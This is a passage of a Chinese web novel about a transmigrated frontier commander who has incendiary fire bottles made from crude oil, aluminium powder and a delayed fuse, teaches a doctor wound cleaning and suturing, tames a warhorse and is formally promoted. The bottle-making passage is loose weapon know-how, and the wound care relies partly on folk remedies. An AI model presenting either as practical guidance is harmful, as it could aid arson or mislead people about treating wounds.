行至半途,忽见从堡子西头风风火火跑来一个十五六岁的后生,气还没喘匀就叫道。
“大人,成了,成了。师父说您要的引信做得了!”
“好了?”秦猛认出这是火器作坊范良的学徒,眼中精光一闪,二话不说,转身直奔火器作坊而去。
作坊院墙外,那股熟悉的、刺鼻的硫磺味更浓了。
“是该挪个地方。”秦猛皱着眉想到。
“大人,按您的要求,延时引信成了!”
那后生飞奔入工坊内告知,脸上还沾着几道黑灰的范良迎出来,引着他快步走入后院耳房。
只见一只桐油浸过的木柜里,整整齐齐码放着宽窄长短一致的布条引信。
这些引信被桐油反复浸透,质地坚韧异常,燃烧起来速度均匀、极好控制。
“这特制的引信,火候都试过了?”秦猛拈起一根,指尖捻过那筷子粗细、油润紧实的布条。
“试过多次了!”范良立刻回道,“浸了三遍上好的桐油,阴干了整整五道。
烧起来稳稳当当,不疾不徐。小的反复验证,两指长短的引信,正好烧够五息,稍微剪短了些,大人要的‘延时三息’效果,包准错不了。”
“很好,别心疼布料。”秦猛颔首,神色郑重。
“此物关乎将士性命,每次交付军队使用之前,必须再三测试,记录数据h绝不容半分差错。”
“是,小人记下了!”范良用力点头,他本就是刻板固执之人,眼中迸发出全神贯注的神采。
“引信既已妥当,”秦猛亲自取出柜中的托盘,目光锐利地看向范良,“火器坊,也是时候拿出些真东西来了,免得被糙汉子小瞧了。”
“是!”
……
火器作坊,一间僻静的屋子内。
秦猛抓起台上口小肚大的瓷瓶,从一口密封的木桶中,小心舀出粘稠刺鼻的黑褐色液体灌入。
范良配合默契,熟练地用锉刀从破旧盆上刮下粉末。适量装入瓶子中,再放到秦猛手边。
秦猛仅装半瓶便止,摇晃均匀,再接过特殊布条引信。将其塞入压实瓶口,只留寸许在外。
很快,百来个装了“黑水亮粉”的瓷瓶整齐码放。
“大人,火油……不都是泼柴烧敌么?这般密装,岂非暴殄天物?”范良终是难忍好奇。
“稍后便知。”秦猛神秘一笑。
火油,就
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是石油,这个世界也叫石漆,石脂水。都是穷苦人照明,军事运用上比较初级
。除了边疆烽火台,确保可在雨天点燃狼烟。就是借干柴纵火对付**骑兵。
这种原油及铝粉制作**之法,古书未记载,乃秦猛前世所知二战时期的**。
这玩意又称为“莫诺托夫鸡尾酒”、“**”,是游击队等非正规部队、街头**群众的常用武器。
成本低廉,制作简单,威力不俗。
眼下除了火油较为珍贵,陶瓷瓶子是窑厂烧的,特殊引信自己制作,制作**的成本低廉。
正是秦猛眼中克制骑兵的绝杀秘器。
……
朔风,卷着沙砾拍在堡城墙上。
“看好了!”秦猛骤然沉喝,引信点燃,他腰腹发力如拉满强弓,手臂猛地甩出。粗瓷瓶带着尖啸划破长空,青色弧线在昏日下格外刺眼。
秦猛亲自测试**的威力,也担心威力不强。若这心血白费,无手段河对岸的**骑兵。
在他殷切又期待的目光下。那瓶子重重砸在百步外的空地上。
“咚嚓——轰隆!”
撞击声与**声几乎同时炸响。
瓷瓶瞬间崩裂如恶鬼裂齿,碎片化作飞刃四射。
火油混着铝粉轰然爆燃,刺眼白光中腾起丈高烈焰,毒烟裹着热浪翻卷,眨眼间将方圆一丈化作火海。
靠得近的军卒被气浪掀得踉跄,脸上竟能感到碎石灼烧的刺痛。
地面在千度高温下噼啪作响,火星被狂风卷着落在枯草上,瞬间又燃起一小簇火。
场中死一般寂静,只有火焰吞噬空气的嘶吼。
王善呆愣地看着这一幕,原本紧绷的脸突然扭曲,猛地一跺脚嘶吼:“**,神兵利器!
咱堡有这东西,**千军万马来了,又如何?”
“怪不得这种武器颇受喜爱,威力是真不小啊!”秦猛嘴角勾起冷硬弧度,目光扫过众亲兵。
——方才的疑惑、惊骇已被狂喜取代,一张张脸在火光中映得通红,斗志如焰苗般窜起。
他转身看向仍在发怔的范良,声音掷地有声:“范师傅,本将繁忙,火瓶的制作就交给你了。”
“是!是!”范良猛地回神,双手攥紧,微微颤抖。
“王善!”秦猛又看向亲兵队长:“带人去火器作坊,八成**送往前线燧堡,务必教会守军用法。”
“俺这就去。”王善抱拳转身,脚步都带着风。
“等等,你急什么?”秦猛叫住他,眼神骤然凝重。
“告诉所有人,这东西碰不得磕不得,必须小心轻拿轻放。”
王善重重点头,转身领着几名亲兵往作坊奔去。
风裹着火星掠过荒原,秦猛望着那片仍在燃烧的火海,指尖无意识摩挲着腰间佩刀——只要**敢来犯,这烈焰,便是燧堡最锋利的盾。
第56章 堡寨医疗所
秦猛与范良回到堡寨,再次叮嘱了**制作的关键要点,并确认沿用“**”这个名称。
“范师傅,火器作坊这味道太浓了,长久下去影响周遭居民,也伤身,作坊最好挪个地方。”
是!”范良脸上闪过尴尬之色:“小人亦正有此意,只是有时候研究调配**,那股迫切想知威力的念头上来,非要当场试一番不可。
左邻右舍没少埋怨,眼下大人吩咐,小人回去便搬迁,堡内作坊今后只负责**装填细活。”
秦猛目送范良离开,正欲前往军营,目光却扫到西南角的医疗所。
他心念一动,那无形的责任感沉甸甸地压在肩头。
身为知寨官,关爱这些为他拼命的士卒是分内之事。
他脚步一转,带着亲兵走向那弥漫着刺鼻血腥与苦涩药味的地方。
医疗所内的光线昏暗,痛苦的呻吟低沉压抑。
十来名重伤员躺在简易通铺上,有后腰中箭,胸口有豁口,全靠医官唐博精湛的医术吊性。
唐博祖上是御医,流落边寨,医术在此地已是顶尖。
秦猛进屋时,他正全神贯注,捏着一卷带着血迹的湿布,为一名肩膀刀伤的士兵包扎伤口。
旁边的木盆里洗伤用的水浑浊不堪。
秦猛瞳孔猛地一缩,断然喝止:“且慢,唐医官,这布……脏了,不可直接包扎裹伤!”
唐博手上动作一顿,愕然抬头,面露不解:“大人何意?刚清洗过,为洁净布匹,包扎止血有何不妥?”
“止血无错,隐患在目不能视之处!”秦猛上前一步,指着伤者那皮肉肿胀、泛红的创口。
他语气凝重异常:“唐医官请看,此人伤口是否红肿热痛,更易溃烂流脓?热度也比旁人高?此乃伤后,恶毒瘴气侵入肌理所致!”
他很想说“细菌”,但这时代无人能懂,只能用“恶毒瘴气”来替代。
“那些眼不能见、却能致人化脓溃烂;
引发高热的毒邪,便附着在这布上、在你我手上、在未经灭杀的器具之上;
若直接裹入伤处,无异于雪上加霜!”
唐博盯着那确实比其他人更显糟糕的伤口,脸色变幻。
他行医多年,深知许多伤兵逃过了战场,却难逃后期“风邪入体”“金疮迸裂”的高热溃烂,终至不治。
但将这归咎于看不见的“瘴毒”,实在匪夷所思。
“此论……下官闻所未闻。”
“祛除此毒却非难事,高温灭杀即可!”
秦猛不容置疑地指向水盆,“故而,医者双手洁净。凡用于伤患之布带、器具、皆须用净水彻底搓洗后,再以沸水蒸煮至少半刻时辰。”
“若紧急时刻无法蒸煮,或用盐水清洗伤口,器具。
亦可用新鲜生宁(生姜)、葫蒜(大蒜)捣碎取汁,浸润布条、洗净,此二物皆有杀…抑制毒邪之力。”
“敷料中掺入捣碎的忍冬(金银花)。每日令伤者服用忍冬煎汤,此物清热解毒,最能对抗溃烂高热。”
唐博眉头紧锁,沉默片刻,秦猛所言如同天方夜谭。
但提到“生宁”“葫蒜”“忍冬”,这些古方中确有零星记载其能“抑疮疡”“清热毒”,或许真有几分道理。
看着秦猛笃定的眼神,再看着士兵那明显开始恶化的创口。
他终于开口,带着探索的意味:“大人所言‘毒邪’之说虽为奇谭,然生宁葫蒜汁可抑疮疡、忍冬清热解毒,古方确有散记,下官……愿一试!”
“光试不行!人命大于天,必须严格执行!”秦猛边说边解下腰刀递给亲兵,“我与你同做。实不相瞒,医道之事,秦某也略知一二!”
这话一出,躺着的伤兵全都惊呆了。
唐博更是瞠目结舌——堂堂知寨官竟要亲手做这等“污秽”之事?
“发什么愣?”秦猛沉声催促:“快取来干净的细白新布。取上好的生姜大蒜,立刻动手!”
唐博猛地回神,眼中闪过一丝复杂,随即朝药童急声吩咐,取来胡蒜,生宁等物捣碎取汁。
药童不敢耽搁,飞奔而去。
很快,所需物品全部备齐。
秦猛挽起袖子,亲自动手示范,先用浓烈的姜蒜汁仔细搓洗双手,又命令将新布条在浓汁中完全浸润并反复揉搓,最后在清水中洗净。
他指导唐博用盐水为伤兵清洗伤口。
接着,亲自执起布条为伤兵包扎,手法沉稳、精确,折叠缠绕极富章法,既能有效止血固定,又不至于勒得过紧,用布节省且效果更佳。
裹好后,伤兵轻轻活动肩背,惊讶道
“多…多谢大人,比先前舒服不少,不觉勒得慌了!”
一旁观看的唐博心中掀起惊涛骇浪,忍不住问道:“大人,您这包扎手法……从何**来?竟如此娴熟精妙?”
“先祖托梦所授。”秦猛放下布头,神色淡然地回答。
“哇!哥!”清脆又带着惊讶的声音从门口传来,“你…你真会医伤?跟唐医官一样厉害?”
秦猛扭头看去,只见妹妹秦小芸蹦跳着进来,身后还跟着陈月娘和几位妇人,她们手中都端着木盆,里面放着清洗干净的纱布和衣物。
陈月娘见秦猛看过来,略带忐忑地解释道:“猛子哥…近日裁缝工坊赶制冬装,实在抽不出人手。
我看医所这边衣物纱布堆积如山,气味也重,唐医官和童子过于忙碌,便与几位婶子商议着来帮忙浆洗晾晒,做些力所能及的杂活。”
秦猛的目光落在陈月娘那双被水冻得微红的手上,又看向木盆里那些洗净透亮的纱布。
他脸上冷峻的线条瞬间柔和下来,点头赞许道:“好,做得对。军医所是伤兵续命之地。
亦是我军寨存续的命门,其紧要不下于城防兵器,你能想到此节,眼光长远,了不起。”
他走近一步,声音清晰而郑重:“况且,身为未来的寨主夫人,理应有一颗仁慈之心。为^_^照料受伤的袍泽兄弟,亦是你的本分担当!”
“寨主夫人…”陈月娘浑身剧震,猛地抬起低垂的头。
它眼中的闪躲尽数褪去,瞬间被巨大的惊喜、羞涩和前所未有的踏实感填满。
秦猛第一次在众人面前如此明确她的身份,这
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巨大的肯定让她心跳得飞快,脸颊绯红如霞。
巨大的喜悦化作勇气,她挺直腰背,看着秦猛,声音虽轻却异常坚定:“那…月娘想…不只做浆洗,更想随唐医官学习治病救人的本事。
跌爹昔年曾教过我辨识许多草药的寒热温凉,认得些药性,也曾上山采过药,我有这个底子!”
秦猛眼中的欣赏之色更浓,他略一沉吟,便果断拍板:“好!白日你便可来医所帮学请教。
晚间归家,我便将这包扎之术传你。今后这清洁包扎之法,便由你教导所中药童、妇人!”
他又转向唐博:“唐医官,月娘是我的家人,亦是你的弟子,今后多多叨扰,望费心教导。”
陈月娘闻言,眉梢眼角都焕发出明亮的光彩,用力点头应下。
此时,秦猛目光扫过另一名腹部皮开肉绽、伤口难以闭合的伤兵,腹部上缠绕的纱布渗血。
他对唐博提出一个更惊世骇俗的想法:“唐医官,这等大口撕裂伤,皮肉分离如此之远。
单靠敷药包扎,我觉得不妥,愈合缓慢且极易入毒,是否可考虑……用针线将其缝合?”
“如同缝衣般,拉拢伤口两边皮肉对合紧贴,岂不更利涂药,止血愈合,减少瘴邪侵入?”
“缝合?”唐博如遭雷击,双目圆瞪,脱口而出,这念头比之前的“消毒”之说更骇人听闻。
但下一秒,作为一名优秀医者的直觉灵光乍现。
对啊!大的创口难愈,主因就是两边组织分离,若能强行拉拢固定、缩短距离,愈合速度定会加快。
他脑中仿佛打开了一扇全新的大门,喃喃自语:“如…如缝衣般…拉拢对合…加速愈合…”
随即,他眼中爆发出炽热的光芒,猛地看向秦猛,语气急切:“请…平大人教我。此…此法细思……竟有可行之理!敢问如何操作……”
接下来半个时辰,秦猛将清洁、缝合概念等医疗智慧,用“古方旁证”讲给唐博。
提及针具选绣花针改造、线用桑皮线或沸煮丝线、可试麻沸散减痛,只给方向留细节让唐博探索。
唐博如饥似渴倾听,举一反三想到针线需蒸煮消毒,追问不停,看向秦猛的眼神满是敬佩。
秦小芸满眼崇拜瞅着哥哥,陈月娘换药时侧耳听讨论,望秦猛的目光含着庆幸、敬仰与柔情。
秦猛见唐博架锅煮布、加忍冬、换洗伤水,知“消毒”已生根,便挨个慰问伤员,许诺抚恤,伤兵眼中重燃希望。
夕阳西沉,余晖透窗,秦猛带疲惫与轻松起身。
行至院外回望,唐博用煮过的长筷夹热布,轻覆伤员创口,神情专注如朝圣,俨然听进去了。
军医所内“生存希望”悄然生长。
而秦猛陪陈月娘、秦小芸回家,家中灶火泛暖光。
陈月娘畏寒头晕,秦猛道:“着风了,用老姜葱白熬汤发汗,煮小米粥养脾胃,忌生冷油腻。”
秦小芸缠上来:“哥,教我功夫!”
秦猛在院中借微光教她扎马步、出拳发力,演示女子实用擒拿,秦小芸学得投入,斗志昂扬……
第57章 帅司正式任命
翌日,清晨时分。
秦猛早早到了校场,投身热火朝天的练兵之中。
他一丝不苟地纠正步卒的阵列疏漏,亲自示范简单的擒拿关节技,严格招募新兵,宁缺毋滥。
秦猛骑术只能说娴熟,马战更是不怎么擅长。他的目光扫过飞虎精锐,紧盯他们控马姿态常博
甚至虚心向袁飞请教骑射心得。
枣红马驮着主人矫健的身影,在校场狂奔,嘹亮的嘶鸣声不断为这砥砺刀锋的场面擂鼓助威。
练兵空隙,他这个知寨官得抽空巡视堡外建设,规划居所、街道,与工匠师傅们商议,先以沙土袋子混合着水,在外面立起一圈冰墙。
他还要找老保长,请他模仿笔迹,伪造字据。
堡寨内各处作坊之事也要他过问。
铁匠作坊,熔炉日夜不息,火星四溅。
裁缝坊内,数十妇人飞针走线赶制冬衣被褥。
炼盐工坊老保长全权负责,经过扩建,蒸腾的热气里,二十余名稳重可靠的堡民勤力劳作,每日产出数袋雪花精盐,换取着宝贵的资金。
木工坊最为热闹。大师傅鲁明须发沾染木屑,正领着一群巧匠敲打组装一座高大的木质“怪家伙”。
——原始蒸馏器的框架已巍然立起。
旁边地上散落着几个瓦罐,浑浊液体散发着酒气。
多次尝试后失败,鲁明正小心翼翼地用熬化的鱼胶,仔细填补部件连接处每一处缝隙。
“大人放心!”鲁明见秦猛到来,扬起花白胡子,眼中燃烧着创造的火焰,“差的就是密封这点活儿,顶多三两天,准保这玩意没问题。”
秦猛描述的“酒中精华”“浓香扑鼻”之类的话语。早已勾起了这位匠痴的无限好奇与渴望。
时间飞逝,太阳西斜。
诸葛风、张富贵率队先从二十里外的青阳县归来。
车队是浩浩荡荡,绵延数里。
此行收获颇丰,招募到上百青壮,三百多流民,还从县城购置了盐巴、粮食、铁料等大批物资。
捕奴团掳人,冷艳山贼肥猖獗等消息有心散播。不少富户送钱送粮,资助边军剿灭贼寇。
青阳县知县为感谢军堡解救治下百姓、协助撤案销状,特送来一千石粮食、百头猪羊劳军。
他还备了份贺礼,百两纹银和十卷江南绸缎。托付诸葛风转交秦猛,是为恭贺他升任知寨。
消息传开后,青阳县大小官吏也闻风而动,不同体系却得仰仗边军,纷纷备礼前来道贺。
一时间,军寨门前热闹非凡。
这些琐事是老保长和诸葛风负责处理,秦猛一行扑在练兵上,没时间与这些人惺惺作态。
次日午后,秦大壮率队姗姗归来。
他从南河城寨带回了数十个青壮、百多流民,以及城寨给的军备,采购的粮食、铁料等物资。
却也带来一个糟糕的消息!
——城寨内几家粮铺、矿行、布庄竟都宣称货物告罄。
“不对!”秦大壮忧心忡忡地汇报道。
“我看各粮行、布庄里有粮食有棉花,他们就是不愿意卖!一听说是南河堡寨,脸色当场就变了。”
“我找了相熟的粮铺掌柜打听,软磨硬泡又塞了钱,对方才偷偷透露,说咱们是得罪人了。”
“是这样?”秦猛恍然大悟,脸上却并无意外。
他转而问道:“那常氏粮行呢?”
“常氏商行倒是依旧愿意做生意,咱们这次带回来的粮食、铁料,八成都是他们提供的。”
秦大壮先松了口气,随即又愁眉不展:
“可咱们戍守边疆,不惹事,到底哪里得罪人了?”
秦猛冷笑几声,并未过多解释。
他早已料到会有这样的阻挠,也知道是谁搞鬼。
好在之前已提前联络本地的李家粮行和罗记矿行,两家未受影响,仍在不断往军堡输送资源。
“好了,兵来将挡,水来土掩。”秦猛拍拍秦大壮的肩膀:“先不管这些,把新来的人安顿好。”
说罢他转身便赶赴堡外新区。
军寨越来越热闹了,近来接连涌入不少人落户。
首批是被陆续吸引引来的少数流民。
第二批就是此前解救的人及其家眷。
第三批由诸葛风带回,不少人有家眷。第四批便是秦大壮此次带来的流民,也是拖家带口。
前段时间加紧搭建的茅草屋此刻正好派上用场。
老保长王槐带队登记户籍、统计人口,以便后续分配活计。
堡外空地上,几口大铁锅正熬煮着浓香的肉粥。
肉香味弥漫,飘散!
那些忐忑的流民望着翻滚的粥锅,再看周围忙碌却有序的景象。分配住处,发放棉衣被褥。不禁眼眶发红,心中的惶恐也被暖意悄悄取代。
整个南河军寨,依旧像一块投入洪炉、锻打待成型炽热铁胚,却悄然孕育着初具雏形的力量。
就在秦猛为人口涌入而忙碌时,寨门处骤然响起一阵急促的马蹄声,伴随着徐强兴奋的呐喊:“秦将军,飞虎卫赵将军亲卫副队长到!”
一队约三十余骑的精锐骑士,裹挟着滚滚烟尘旋风般卷过寨门。
为首者身形挺拔,铁甲精良,外罩飞虎军制式战袄,气度干练沉凝,正是赵将军心腹亲卫副统领周扬。
他身侧紧随一名文吏模样的中年人,青色官服,外套轻甲,当是帅司派来的勘验官无疑。
“奉帅司军令,特来核查南河戍堡所斩获级及缴获,勘验密图!”
周扬翻身下马,动作干净利落,朗声出示令牌文书。
秦猛早已在众人的簇拥下赶来,大步出列拱手:“小南河军寨知寨秦猛,恭迎周将军、上官。”
核查过程严谨高效。
周扬带来的人手极其熟练地勘验了那两百多颗**首级,重点辨明创伤痕迹、随身物品以确认身份等级。
那送到飞虎大营,象征谋克勃极烈身份的金印、腰牌令箭,以及图囊中的密图,更是重中之重。
飞虎卫赵将军提名保举,是走过形式。
帅司勘验官对照报捷文书逐项记录,一丝不苟。亲率帅司人马查看冰封的**尸身和首级。
问询时间,地点,战斗细节。
秦大壮,张富贵等
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人则在一旁极力补充印证。将秦猛当夜如何伏击、如何格毙图鲁木部勇士扎哈尔的凶险过程,更是描摹得绘声绘色,惊心动魄。
勘验完毕,帅司勘验官沉稳点头,以示无误。
双方验证完成,方才算军功落定。
周扬脸上肃然的表情这才缓和,展露笑容,郑重地捧出一份印制精美的任命文书,朗声宣令:
“秦猛听令!经帅司复核,小南河戍堡秦猛率部阵斩图鲁木部勇士扎哈尔,等两百五十三级。
缴获金印、令箭、密图等军国重器,功勋卓著,大振军威!特擢升秦猛为飞虎卫磐石营副将,兼小南河军寨知寨。
帅司特许,秦副将节制南河军寨,并统辖双涡港堡、重建芦苇堡废堡,
三堡寨防务、屯垦、军民诸务,皆由尔提调,帅司自会调拨钱粮,务求整饬边备,力抗强虏!
着即拨付:床子**两台,铁甲二百套、制式弓**两百张,长刀短矛三百件,粮食千余石。
另赐个人上品飞虎精铁重甲一领、精铁胄一顶、校尉制式战袄袍服三身、银钱五百贯、布帛十匹。麾下将官皆赏甲胄钱粮,以彰其功。”
随着喝令,数名军卒将一套厚重、甲叶森然幽亮的山文重甲,靴子,腰带,头盔等物齐全。
那冰冷沉重、闪耀着战争光泽的甲胄,肩铠狰狞虎头,栩栩如生,瞬间镇住了在场所有人。
崭新的将校战袄袍服、亮闪闪的银钱、布帛……
秦大壮,张富贵等人同样领到甲胄,袍袄,财帛赏赐。无不在昭示着权力与荣耀的加持。
辕门外,两架需数名壮汉协力推动、形制狰狞的庞大床**被牛车缓缓拖入。
紧随其后,堆满几辆大车的木箱中便是那沉甸甸的二百套铁甲,弓**,武器,防具等军械。
“末将秦猛,领命。叩谢帅司恩典,感念赵将军提拔!誓当恪尽职守,保境安民,万死不辞。”
秦猛肃然上前,大声回应。双手接过那象征权力跃升的文书与重甲,胸中一块巨石轰然落地。
这正式任命不仅是保障,更是如同强效的催化剂。
——招募人手,索求资源,从此名正言顺。
军寨下辖两座边堡,防务虽然沉重了,但重要的是将根基拓深拓宽,地盘人口,乃立足之本。
帅司人马公务繁忙得紧,并没有多留,留下文书、物资与无声的见证,策马疾驰回返复命。
当然,秦猛没有让他们空手而归。
在核算期间,他趁人不备送了点小礼。帅司勘验官得了锭金元宝,随行人员人人掉了银锭。
周扬等军汉吃饱喝足,秦猛托他们捎带边境土特产。人情世故这方面,他还是略懂一二。
总之,帅司和飞虎卫来人满载而归。
直白来讲,人家来,嘴巴冻得乌青,总要有点安慰……
但这座小小边寨的热情远非一纸任命能完全框定。
秦猛正式被任命为知寨官,堡寨上下欢呼一片。
这条消息也被老保长推波助澜般地散播出去。想必会有许多人被军寨的优越条件吸引而来。
第58章 踏雪乌骓
堡寨人员的安顿工作由老保长和诸葛风负责。
秦猛因此清闲了不少,在军营食堂吃过饭后,便准备开始驯马。
此前**来袭,他得了三匹好马。
第一匹是女真猛安兀鲁思的坐骑,一匹神骏的枣红马,兼具温驯与剽悍,被他定为常用战马;另一匹是烈火马,爆发力强,暂作备用。
最特别的是,第三匹黑马——通体如墨,唯有四蹄环绕一圈纯白毛发,故得名踏雪乌骓。
是图鲁木第一勇士扎哈尔生前的坐骑。
这马性子极烈,刚被俘时就差点踢伤多名戍卒。
这匹乌骓,仅肩高足有八尺开外,体型高大匀称,肌肉线条流畅,通体毛发乌黑油亮,火光下像最上等的锦缎,一眼便知是罕见宝马。
近来经堡内擅养马的堡民小心调教,它总算勉强允许人靠近鞍辔,但要真正驯服,绝非易事。
此刻它正关在特制的坚实马厩里,烦躁地刨着蹄子,鼻孔喷出浓重白气,死死瞪着靠近的人影,野性丝毫未减。
“哼,白吃白喝几天,也该出力了。”
秦猛丝毫不怕,大步流星地走向马厩。
“大人小心,这几日,它又踹伤两个人了!”负责照料马匹的马夫见状,连忙上前提醒。
“无妨!”秦猛目光锐利如鹰,牢牢锁定这匹桀骜的宝马。
踏雪乌骓似乎认出了杀前主的秦猛,见他靠近,顿时变得异常暴躁,嘶鸣一声后,巨大的头颅猛摆。
两只碗口大的前蹄直踢秦猛胸膛,劲风扑面,力道足以碎石。
面对这凶猛攻击,秦猛嘴角勾起一抹冷笑,身形在电光火石间微晃。
他左脚精准向前踏出一小步,避开一只马蹄,同时右肩顺着马身冲势轻巧卸力,马蹄裹挟风声,几乎擦着他肋下的甲叶掠过,险之又险。
趁乌骓踢空重心不稳的瞬间,秦猛左臂闪电般探出,五指如铁钳,一把抓住辔头根部连接嚼铁的口环。
——这正是马匹发力的关键枢纽。
“嘿!”秦猛吐气开声,扑至马儿身侧,右臂同时如铁箍般,猛然勒紧马脖子下方的筋络。
他不是要勒死马,而是用恐怖的臂力压制马的发力点,同时沉下身体,像钉在地上般稳固。
秦猛矮身沉腰,足下生根,硬生生扼住了乌骓的狂暴冲势。
乌骓又怒又怕,奋力挣扎,嘶鸣着猛冲出去。秦猛暗道不好,却不撒手,单脚踩上马镫。
“咔嚓”一声,竟拉断了拴马的木柱子。
乌骓狂性大发,本想撞向周边人群,可不少军汉手持利刃,一转身,拖着断木疯了般冲出军营。
马夫和周围的军卒纷纷四散躲避,下意识抽刀。却见这匹马儿通灵,眼睁睁看着它逃走。
“大人,大人。”
“看什么看?快追!”王善和**最先回过神,立刻招呼亲卫翻身上马,朝着乌骓逃走的方向追去。
“继续训练,小小马儿,奈何我不得。”
本来在训练的乌维,李山等军卒也要来相助。可秦猛低沉有力的吼声响起,便继续操练。
此刻冲出军营的乌骓马仍不消停,在军堡内又蹦又跳,四处乱窜。
秦猛还没完全爬上马背,只能死死抱住马脖子,冲着前方大喊:“让开,马发狂,快让开!”
幸好军堡内的道路狭窄,乌骓速度无法完全展开。
沿途的人听到呼喊后及时避让。
倒没有造成人员受伤,只是免不了一阵鸡飞狗跳。
路上的人都诧异地看着发狂的乌骓和死死抱颈的秦猛,议论纷纷却没人敢上前,也追不上。
随后,“得得得”一阵急促的马蹄声传来,王善率领亲卫队策马狂追而来,紧紧跟在乌骓身后。
很快,乌骓从堡寨前门冲了出去。
一出堡门便甩开四蹄,发狂般狂奔乱跳,还疯狂摆头扭身,甩动大脑袋撞击,想把秦猛从背上甩下去。
以它狂暴的力量,摔碎普通壮汉的骨头易如反掌。可此刻,却感觉脖子上像箍了道烧红的铁索,呼吸困难,怎么挣扎都甩不开秦猛。
“老实点!”
秦猛几次抬腿,想要跨上马背骑乘。却被马儿蹦跳破坏,他不禁恼怒,声音低沉如闷雷。
他手臂上的肌肉贲张如磐石,腰腹核心力量全爆发,死死抱住马儿,任凭乌骓挣扎尥蹶,都无法将他甩开分毫。
一人一马如同在旷野上陷入激烈角力。
堡墙上的戍卒看得屏住了呼吸,见乌骓还在不甘地打响鼻、刨蹄子,也甩不掉秦猛束缚。
“将军威武。”不少人忍不住松了口气,开始鼓劲。
秦猛这家伙也是个另类,何况手中拽着缰绳。
这场角力的结果毫无悬念——乌骓马的暴烈气势,正被秦猛纯粹而霸道的意志强行按捺。
“啊!”秦猛抓住机会,脚下一蹬地,身体如展翅苍鹰般轻盈,踩上侧边的铁蹬,腰腹发力一拧,稳稳坐上马背,动作快得让人眼花缭乱。
乌骓感觉到背上的重量,本能地嘶鸣起来,又是发了狂,猛地弓背跳跃,想把秦猛摔下去。
但秦猛的脚如焊在镫环里,双腿内侧死死夹住马腹,重心牢牢坠下,有规律地拉扯缰绳,单靠精湛骑术和核心力量就能保持平衡。
乌骓连续甩了七八个高难度颠马动作,秦猛的上身却只微微晃动,像狂风巨浪中的礁石,稳如泰山。
但这匹马性格暴虐,极难驯服。
旷野上,乌骓马越跑越远,时而跳跃摇晃,时而人立而起,可秦猛始终挽着缰绳、抱着马颈。屁股像粘在马背上一样,绝不下来。
一刻钟过去。<
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br>乌骓浑身是泥浆草屑,却依旧凶悍,每一次人立、每一次扭转冲撞,都像裹着蛮荒的凶戾。
秦猛也好不到哪里去,浑身泥污,模样狼狈,铠甲下的单衣被汗水浸透紧贴皮肉,几处还被马的硬**磨破皮,每一次发力都牵扯着疼。
但他的眼神却更锐利,隐隐察觉每一次力量对撼、每一次意志碾压,都让他与乌骓间连起一道无形的枷锁,一种微妙的平衡在艰难凝结。
整整过去半个时辰,人马还在较量。
王善,**已经率领队伍赶来,观望未靠近。
秦猛脸色变得难看,胸膛剧烈起伏,嘴里呼出白气。手掌还残留着乌骓鬃**下滚烫的汗意。
他胳膊都发麻,酸胀,混着虎口因力竭微微撕裂的钝痛。
——方才的半个时辰,对他而言如同地狱,**在寨外空地上殊死较量,还没有驯服此马。
不过,乌骓挣扎的幅度越来越小,眼中的敌意渐变成惊惧,鼻息也带上了无可奈何的疲惫。
这匹烈马纯粹的野性力量,仿佛顺着接触导入秦猛的四肢百骸,让他的血液也随之沸腾燃烧。
“服不服?”秦猛凑到乌骓耳边喝斥着,双腿如铁箍嵌进乌骓绷紧的腹侧,臂膀肌肉虬结贲张。手中的缰绳被拉得笔直死死扣住马儿的冲势。
“嘶——呜噜噜!”
乌骓最后一次狂甩头颅,想把秦猛像落叶般甩下,马嘴里喷着带腥气的白沫,显然已到极限。
秦猛猛地一勒嚼铁,喉咙里爆出野兽般的低吼,力量瞬间叠加至巅峰,人与马的交锋抵达无声的临界点。
终于,乌骓心中抗拒的桎梏彻底断裂。
前一刻还在挣扎的它,浑身紧绷的肌肉骤然松懈,四蹄稳稳踏在泥地上,暴戾的气息如潮水般退去。
它缓缓低下头,顺从地打了个响鼻,气流拂过地上的枯草,随后马头侧偏,湿漉漉的眼睛回望秦猛,瞳孔里的火焰已熄,只剩一种奇异的光。
——不是屈服的灰暗,而是桀骜野马寻到雷霆之主的认可。
成了!
秦猛心中的巨石落地,紧绷的嘴角终于松开,泄出压抑已久的气息,终于是驯服了这匹马。
畅快的疲惫从四肢深处席卷而来,他抬手用被缰绳勒出红痕的手背,抹掉糊住眉眼的汗泥。
想起方才乌骓喷着带血沫的白气、肌肉如钢缆般紧绷颤抖的模样,秦猛心中生出一股豪情。
方才人与马的意志在旷野上空对撞,直到他一声“吁——”
如重锤砸碎乌骓最后的防线,一切才尘埃落定。
此刻乌骓安静地沉重喘息,头颅微垂,不再抗拒发狂,只是漆黑的双眼仍透过汗鬃回望,眼底桀骜未消,多了丝对绝对力量的认可。
——又仿佛是对“强敌”的惺惺相惜。
第61章 夜袭白松岭
“您的货,我包了,船队天黑就出发!
三路使者,快马通知北狼口、**滩、双塔镇所有船家货商。
半月之内,常家商号包保,那些被堵的货,一件不少,全给您移到指定地点,您只需派兵去接就行。”
他拍着胸膛,肥肉乱颤。
“那合作愉快。”秦猛也豁然起身,哈哈大笑,棱角分明的脸上是酣畅淋漓的果决,真诚。
两只手,一只粗糙布满力量与伤痕,一只肥厚滚圆蕴藏无尽财富——在空中,重重相击。
啪!
一声脆响,响彻官署。
窗外,乌维似乎也感受到主人心中激荡的风雷,发出一声响亮的、略带不甘心的叹气。
他从大山中走出,首次见到有人跟自己一样宽的人。觉得他有几下子,很想切磋较量一下。
可看到胖子跟主人有说有笑,这幅和睦的情况,知道打不起来。故而叹气,心中很是不爽。
残阳将南河堡巍峨的土石城墙镀上一层暗金。
常九并未离去,应秦猛之邀,缓步行走在堡内。
秦猛身披铁甲,步伐沉稳,每到一处便驻足详述。
“此处粮仓已被蛀蚀大半,我打算重建多栋。”秦猛踢了踢虫蚁密布的仓板,木屑簌簌落下。
“新粮须得快,至少再送来五千石军粮才保险。”
“近来伤兵不少,药材,棉花等也得多多囤积。”
“堡外修建新区,还有这箭楼,垛口,**弓矢强劲,需上好的铁料加固,至少数万斤才堪用。”
“硝石,硫磺,箭竹,火油等物资堡寨来者不拒。”
常九一袭裹着裘毛皮,安静聆听,只在关键处微微颔首或轻声回应:“粮食几日后可从沧州沿河运抵。
精铁料需从晋地采买,十日内送到。
硝石三千斤、硫磺两千斤,我的商队三日后就能送来堡外。”
他们沿着城墙巡视,从马厩缺料、武库兵器折损、到戍卒冬衣匮乏,一一敲定所需物资的种类与数量。
夕阳将两人的身影在堡墙上拉得老长。
不知不觉间,见周围又没有外人,话题悄然从硬邦邦的军需转到了南河镇与青阳县的产业上。
